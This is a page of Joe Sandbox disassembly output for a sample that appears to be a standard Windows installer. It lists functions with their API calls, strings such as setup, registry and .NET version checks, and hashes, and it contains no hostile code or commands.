Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CloseHandleProcess$CodeExitObjectSingleSleepTerminateWait
String ID: Helper isn't responding; killing it.$Helper process exited with failure code: 0x%x$Helper process exited, but failed to get exit code.$Helper process exited.$Stopping 64-bit helper process. (PID: %u)
API String ID: 3355656108-1243109208
Opcode ID: c622efa3c7eab7cccda726d3a4b9de256e6627cd4402bb3f218a784690392fa4
Instruction ID: 51b9fef4e3630302d875d0b33b843881230cc4703e5d54bf9f75f6b4352a6378
Opcode Fuzzy Hash: c622efa3c7eab7cccda726d3a4b9de256e6627cd4402bb3f218a784690392fa4
Instruction Fuzzy Hash: 3C216A706087409AC720EB79D44175BBBD4AF09305F40C93FB99ACB683D778E848DB6A

Function 0045310C Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 228registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DC1C: RegCreateKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?), ref: 0042DC48

RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,00000000,004532E3,?,00000000,004533A7), ref: 00453233
RegCloseKey.ADVAPI32(?,?,?,00000000,00000004,00000000,00000001,?,00000000,?,00000000,004532E3,?,00000000,004533A7), ref: 0045336F

Part of subcall function 0042E634: FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00451F9B,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 0042E653

Strings

, xrefs: 00453195
RegCreateKeyEx, xrefs: 004531A7
Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 0045317B
Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 0045314B

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CloseCreateFormatMessageQueryValue
String ID: $RegCreateKeyEx$Software\Microsoft\Windows\CurrentVersion\SharedDLLs$Software\Microsoft\Windows\CurrentVersion\SharedDLLs
API String ID: 2481121983-1280779767
Opcode ID: c5db3acd86c8ed43af1b2e086ff8c3ee11ed8bea7a7bdb3acdd93afa95ba8e83
Instruction ID: f9a2ef16c2c3133b80d09f89e5e1cd3a5cf59ff53075ba998d39aa5346fe0c71
Opcode Fuzzy Hash: c5db3acd86c8ed43af1b2e086ff8c3ee11ed8bea7a7bdb3acdd93afa95ba8e83
Instruction Fuzzy Hash: DA813175A00209AFDB01DFD5C941BEEB7B9EB08345F50446AF901F7282D778AB09CB69

Function 00491DB8 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 141fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004525E4: CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,00491F89,_iu,?,00000000,0045271E), ref: 004526D3
Part of subcall function 004525E4: CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,00491F89,_iu,?,00000000,0045271E), ref: 004526E3

CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 00491E35
SetFileAttributesA.KERNEL32(00000000,00000080,00000000,00491F89), ref: 00491E56
CreateWindowExA.USER32(00000000,STATIC,00491F98,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 00491E7D
SetWindowLongA.USER32(?,000000FC,00491610), ref: 00491E90
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097,00000000,00491F5C,?,?,000000FC,00491610,00000000,STATIC,00491F98), ref: 00491EC0
MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00491F34
CloseHandle.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000097,00000000,00491F5C,?,?,000000FC,00491610,00000000), ref: 00491F40

Part of subcall function 00452934: WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00452A1B

73A25CF0.USER32(?,00491F63,00000000,00000000,00000000,00000000,00000000,00000097,00000000,00491F5C,?,?,000000FC,00491610,00000000,STATIC), ref: 00491F56

Strings

STATIC, xrefs: 00491E76
/SECONDPHASE="%s" /FIRSTPHASEWND=$%x , xrefs: 00491EEF

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: FileWindow$CloseCreateHandle$AttributesCopyLongMultipleObjectsPrivateProfileStringWaitWrite
String ID: /SECONDPHASE="%s" /FIRSTPHASEWND=$%x $STATIC
API String ID: 170458502-2312673372
Opcode ID: 28938b429154b767fb1c0e4a0d7d78f9b510867f89cad3db97fbf0b3b28c7270
Instruction ID: 1fa6f6feea9b25d2971888e3dd47e4ddd1b06d8a9d4bfeca80800dbaaf4e61e0
Opcode Fuzzy Hash: 28938b429154b767fb1c0e4a0d7d78f9b510867f89cad3db97fbf0b3b28c7270
Instruction Fuzzy Hash: 62413070A04209AEDF00EBA5DC42F9E7BB8EB09714F51457AF510F7292D7799E048B68

Function 0042ECEC Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 82libraryloaderCOMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 0042ECF8
GetModuleHandleA.KERNEL32(user32.dll), ref: 0042ED0C
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 0042ED19
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 0042ED26
GetWindowRect.USER32(?,00000000), ref: 0042ED72
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,0000001D), ref: 0042EDB0

Strings

MonitorFromWindow, xrefs: 0042ED13
GetMonitorInfoA, xrefs: 0042ED20
user32.dll, xrefs: 0042ED07
(, xrefs: 0042ED51

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Window$AddressProc$ActiveHandleModuleRect
String ID: ($GetMonitorInfoA$MonitorFromWindow$user32.dll
API String ID: 2610873146-3407710046
Opcode ID: fe613c2731d00d0cd16ca02d104e5a609af7fb0ddab17ae87087b7d45de0b7ce
Instruction ID: 863a55e862d9e6b04a8261c5a8ec9b0d3da2fb9689b09071f949f11a5ed4b6db
Opcode Fuzzy Hash: fe613c2731d00d0cd16ca02d104e5a609af7fb0ddab17ae87087b7d45de0b7ce
Instruction Fuzzy Hash: 1821F2723006116BD300966ADC81F7B3698DB94714F49062EF984DB3C1EA78EC008A99

Function 0045F400 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 82libraryloaderCOMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 0045F40C
GetModuleHandleA.KERNEL32(user32.dll), ref: 0045F420
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 0045F42D
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 0045F43A
GetWindowRect.USER32(?,00000000), ref: 0045F486
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,0000001D,?,00000000), ref: 0045F4C4

Strings

(, xrefs: 0045F465
GetMonitorInfoA, xrefs: 0045F434
user32.dll, xrefs: 0045F41B
MonitorFromWindow, xrefs: 0045F427

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Window$AddressProc$ActiveHandleModuleRect
String ID: ($GetMonitorInfoA$MonitorFromWindow$user32.dll
API String ID: 2610873146-3407710046
Opcode ID: 3f3f9c0362815f508f114d1d1e8dfbefa52bddc243e473b6c784f83b642c9795
Instruction ID: 96173372f89cf5f13818fd2272458ee8ea05114f38bc457241c4665ef26b7844
Opcode Fuzzy Hash: 3f3f9c0362815f508f114d1d1e8dfbefa52bddc243e473b6c784f83b642c9795
Instruction Fuzzy Hash: 702192766016046BD310DA688C81F3B3799DB95721F19463EFD48DB382EA78DC0C8A5A

Function 00454DB8 Relevance: 16.0, APIs: 4, Strings: 5, Instructions: 248comCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 00454F89
CoCreateInstance.OLE32(00494A58,00000000,00000001,00494774,?,00000000,00455084), ref: 00454DFA

Part of subcall function 00403CA4: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403CDE
Part of subcall function 00403CA4: SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403CE9

CoCreateInstance.OLE32(00494764,00000000,00000001,00494774,?,00000000,00455084), ref: 00454E20

Strings

IPropertyStore::Commit, xrefs: 00454F6E
IPersistFile::Save, xrefs: 0045500B
CoCreateInstance, xrefs: 00454E2B
IShellLink::QueryInterface, xrefs: 00454FAD
IPropertyStore::SetValue, xrefs: 00454F09, 00454F55

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CreateInstanceString$AllocByteCharFreeMultiWide
String ID: CoCreateInstance$IPersistFile::Save$IPropertyStore::Commit$IPropertyStore::SetValue$IShellLink::QueryInterface
API String ID: 2125489766-2052886881
Opcode ID: cad9f70ec55d6396ec91b922acc9c762cb42afdf484e64a9565cfa992f2d80ff
Instruction ID: cca295efe9e316360f18d1487a7fffb56923434bd9eaf823bd695e8cfda601ee
Opcode Fuzzy Hash: cad9f70ec55d6396ec91b922acc9c762cb42afdf484e64a9565cfa992f2d80ff
Instruction Fuzzy Hash: FA917F71A00104AFDB50DFA9C885FAE77F8AF49706F104066F904EB292DB78DD49CB69

Function 00457538 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 127pipeCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,00457717,?,00000000,0045777A,?,?,02123858,00000000), ref: 00457595
TransactNamedPipe.KERNEL32(?,-00000020,0000000C,-00004034,00000014,02123858,?,00000000,004576AC,?,00000000,00000001,00000000,00000000,00000000,00457717), ref: 004575F2
GetLastError.KERNEL32(?,-00000020,0000000C,-00004034,00000014,02123858,?,00000000,004576AC,?,00000000,00000001,00000000,00000000,00000000,00457717), ref: 004575FF
MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,000000FF,000000FF), ref: 0045764B
GetOverlappedResult.KERNEL32(?,?,00000000,00000001,00457685,?,-00000020,0000000C,-00004034,00000014,02123858,?,00000000,004576AC,?,00000000), ref: 00457671
GetLastError.KERNEL32(?,?,00000000,00000001,00457685,?,-00000020,0000000C,-00004034,00000014,02123858,?,00000000,004576AC,?,00000000), ref: 00457678

Part of subcall function 004521C4: GetLastError.KERNEL32(00000000,00452C35,00000005,00000000,00452C6A,?,?,00000000,00496628,00000004,00000000,00000000,00000000,?,00493575,00000000), ref: 004521C7

Strings

CreateEvent, xrefs: 004575A3
TransactNamedPipe, xrefs: 0045760B

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ErrorLast$CreateEventMultipleNamedObjectsOverlappedPipeResultTransactWait
String ID: CreateEvent$TransactNamedPipe
API String ID: 2182916169-3012584893
Opcode ID: 82633f1e13542bc09f8a62cac19a1d02bf7d9946d73281c4075d0679b7a6bff7
Instruction ID: 74bf62d718516431411c8cfcdac6262dd27c802055fb12708190a6f8294e92f4
Opcode Fuzzy Hash: 82633f1e13542bc09f8a62cac19a1d02bf7d9946d73281c4075d0679b7a6bff7
Instruction Fuzzy Hash: DC419E74A04608AFDB15DFA9D981F9EB7F9EB08714F1040B6F904E7282D6789E44CA68

Function 00455258 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(OLEAUT32.DLL,UnRegisterTypeLib,00000000,004553BD,?,?,00000031,?), ref: 00455280
GetProcAddress.KERNEL32(00000000,OLEAUT32.DLL), ref: 00455286
LoadTypeLib.OLEAUT32(00000000,?), ref: 004552D3

Part of subcall function 004521C4: GetLastError.KERNEL32(00000000,00452C35,00000005,00000000,00452C6A,?,?,00000000,00496628,00000004,00000000,00000000,00000000,?,00493575,00000000), ref: 004521C7

Strings

GetProcAddress, xrefs: 00455293
OLEAUT32.DLL, xrefs: 0045527B
ITypeLib::GetLibAttr, xrefs: 00455309
UnRegisterTypeLib, xrefs: 0045533F
LoadTypeLib, xrefs: 004552DE
UnRegisterTypeLib, xrefs: 00455276

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressErrorHandleLastLoadModuleProcType
String ID: GetProcAddress$ITypeLib::GetLibAttr$LoadTypeLib$OLEAUT32.DLL$UnRegisterTypeLib$UnRegisterTypeLib
API String ID: 1914119943-2711329623
Opcode ID: d841f29eb096205a0f3416c9d951142dcd1957d51abb7032768e202f30d78586
Instruction ID: 6df54f243d02ef1e0602510236a9b3221d9f23a1e2cb2880605133cdd6ce2c52
Opcode Fuzzy Hash: d841f29eb096205a0f3416c9d951142dcd1957d51abb7032768e202f30d78586
Instruction Fuzzy Hash: E431B271A00E04AFC700EFAACC61E6FB7B9EB8974571184A6FD04D7252DA78DD44CB28

Function 0042E238 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 86registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetUserDefaultUILanguage,00000000,0042E33D,?,?,00000001,00000000,?,?,00000001,00000000,00000002,00000000,0047C645), ref: 0042E261
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0042E267
RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,0042E33D,?,?,00000001,00000000,?,?,00000001), ref: 0042E2B5

Strings

Locale, xrefs: 0042E2A4
kernel32.dll, xrefs: 0042E25C
.DEFAULT\Control Panel\International, xrefs: 0042E28C
GetUserDefaultUILanguage, xrefs: 0042E257
Control Panel\Desktop\ResourceLocale, xrefs: 0042E2C4

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressCloseHandleModuleProc
String ID: .DEFAULT\Control Panel\International$Control Panel\Desktop\ResourceLocale$GetUserDefaultUILanguage$Locale$kernel32.dll
API String ID: 4190037839-2401316094
Opcode ID: ffac53d26eb6cbf5b0ada881a774ac81498bfeb0793634945fc8492fe776f38d
Instruction ID: 44979bf40cca6e0e4165a5df68b7b04978596e6ab031f823bf96e39524dcb0bd
Opcode Fuzzy Hash: ffac53d26eb6cbf5b0ada881a774ac81498bfeb0793634945fc8492fe776f38d
Instruction Fuzzy Hash: 3D212430B00229EBDB00EAA7DC51B9E77A9EB45315F90447BA901E7281D77C9E05DB5C

Function 00416CF0 Relevance: 15.2, APIs: 10, Instructions: 167windowCOMMON

Download Yara Rule

APIs

RectVisible.GDI32(?,?), ref: 00416D83
SaveDC.GDI32(?), ref: 00416D97
IntersectClipRect.GDI32(?,00000000,00000000,?,?), ref: 00416DBA
RestoreDC.GDI32(?,?), ref: 00416DD5
CreateSolidBrush.GDI32(00000000), ref: 00416E55
FrameRect.USER32(?,?,?), ref: 00416E88
DeleteObject.GDI32(?), ref: 00416E92
CreateSolidBrush.GDI32(00000000), ref: 00416EA2
FrameRect.USER32(?,?,?), ref: 00416ED5
DeleteObject.GDI32(?), ref: 00416EDF

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Rect$BrushCreateDeleteFrameObjectSolid$ClipIntersectRestoreSaveVisible
String ID:
API String ID: 375863564-0
Opcode ID: 6ab49abbd5e11e256a83ad2b74ff4d94dcb102c44cd1f9c9ecdb67f051fd6bb7
Instruction ID: 01d81588b69ff1f480347e903aed9c185fc6c29f227380d1fa6610f1b9ad60dd
Opcode Fuzzy Hash: 6ab49abbd5e11e256a83ad2b74ff4d94dcb102c44cd1f9c9ecdb67f051fd6bb7
Instruction Fuzzy Hash: A8513C712086449BDB50EF69C8C0B9B77E8EF48314F15566AFD48CB286C738EC81CB99

Function 00404ABF Relevance: 15.1, APIs: 10, Instructions: 122fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404B46
GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404B6A
SetFilePointer.KERNEL32(?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404B86
ReadFile.KERNEL32(?,?,00000080,?,00000000,00000000,?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000), ref: 00404BA7
SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 00404BD0
SetEndOfFile.KERNEL32(?,?,00000000,00000000,00000002), ref: 00404BDA
GetStdHandle.KERNEL32(000000F5), ref: 00404BFA
GetFileType.KERNEL32(?,000000F5), ref: 00404C11
CloseHandle.KERNEL32(?,?,000000F5), ref: 00404C2C
GetLastError.KERNEL32(000000F5), ref: 00404C46

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: File$HandlePointer$CloseCreateErrorLastReadSizeType
String ID:
API String ID: 1694776339-0
Opcode ID: 9f56c7289f94e04900e6d065ddfea074988f08e379b72121dafcd5ad7d79337d
Instruction ID: 0555156f4d2a620bb114dc01d937536d57074fdea11cd86abdfeb4dd56d828b4
Opcode Fuzzy Hash: 9f56c7289f94e04900e6d065ddfea074988f08e379b72121dafcd5ad7d79337d
Instruction Fuzzy Hash: 3741B3F02093009AF7305E248905B2375E5EBC0755F208E3FE296BA6E0D7BDE8458B1D

Function 00422158 Relevance: 15.1, APIs: 10, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetSystemMenu.USER32(00000000,00000000), ref: 004221A3
DeleteMenu.USER32(00000000,0000F130,00000000,00000000,00000000), ref: 004221C1
DeleteMenu.USER32(00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 004221CE
DeleteMenu.USER32(00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 004221DB
DeleteMenu.USER32(00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 004221E8
DeleteMenu.USER32(00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000), ref: 004221F5
DeleteMenu.USER32(00000000,0000F000,00000000,00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000), ref: 00422202
DeleteMenu.USER32(00000000,0000F120,00000000,00000000,0000F000,00000000,00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000), ref: 0042220F
EnableMenuItem.USER32(00000000,0000F020,00000001), ref: 0042222D
EnableMenuItem.USER32(00000000,0000F030,00000001), ref: 00422249

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Menu$Delete$EnableItem$System
String ID:
API String ID: 3985193851-0
Opcode ID: ef763d989a1d1634d7dfecb47c710b46c86fa523770bbd2ad5a3045f81e0a70b
Instruction ID: e98f5eede000e984507cfb68b46ad6efe0a5c83d9602cc3651cf502f29ecaa29
Opcode Fuzzy Hash: ef763d989a1d1634d7dfecb47c710b46c86fa523770bbd2ad5a3045f81e0a70b
Instruction Fuzzy Hash: 23213370380744BAE720D725DD8BF9B7BD89B04708F0444A5BA487F2D7C6F9AE40869C

Function 0047CB50 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 170windowCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(10000000), ref: 0047CCF8
FreeLibrary.KERNEL32(023D0000), ref: 0047CD0C
SendNotifyMessageA.USER32(0002041C,00000496,00002710,00000000), ref: 0047CD7E

Strings

GetCustomSetupExitCode, xrefs: 0047CBAD
Deinitializing Setup., xrefs: 0047CB6E
DeinitializeSetup, xrefs: 0047CC09
Restarting Windows., xrefs: 0047CD59
Not restarting Windows because Setup is being run from the debugger., xrefs: 0047CD2D

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: FreeLibrary$MessageNotifySend
String ID: DeinitializeSetup$Deinitializing Setup.$GetCustomSetupExitCode$Not restarting Windows because Setup is being run from the debugger.$Restarting Windows.
API String ID: 3817813901-1884538726
Opcode ID: 24df48e3a3fbb3e864b6ef9579e69475a6d95d0ccf73b4895a86131a6b1f0127
Instruction ID: a4d14918c0218baa3209ba6b579eb1121db39f64bcd9a3eed85f8b0f3568493a
Opcode Fuzzy Hash: 24df48e3a3fbb3e864b6ef9579e69475a6d95d0ccf73b4895a86131a6b1f0127
Instruction Fuzzy Hash: 5451BB306182009FD721EB79DC86B9A7BE4EB19714F20C47BEC08973A1DB389844CB1D

Function 00457D68 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 130registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00457C80: RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,?,00000000,?,00000002,00457DB2,00000000,00457EFF,?,00000000,00000000,00000000), ref: 00457CCD

RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00457EFF,?,00000000,00000000,00000000), ref: 00457E0E
RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00457EFF,?,00000000,00000000,00000000), ref: 00457E74

Part of subcall function 0042DC54: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047EBD7,?,00000001,?,?,0047EBD7,?,00000001,00000000), ref: 0042DC70

Strings

.NET Framework not found, xrefs: 00457EC2
v2.0.50727, xrefs: 00457E00
SOFTWARE\Microsoft\.NETFramework\Policy\v1.1, xrefs: 00457E28
.NET Framework version %s not found, xrefs: 00457EAE
SOFTWARE\Microsoft\.NETFramework\Policy\v2.0, xrefs: 00457DC2
v1.1.4322, xrefs: 00457E66

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Close$Open
String ID: .NET Framework not found$.NET Framework version %s not found$SOFTWARE\Microsoft\.NETFramework\Policy\v1.1$SOFTWARE\Microsoft\.NETFramework\Policy\v2.0$v1.1.4322$v2.0.50727
API String ID: 2976201327-1070292914
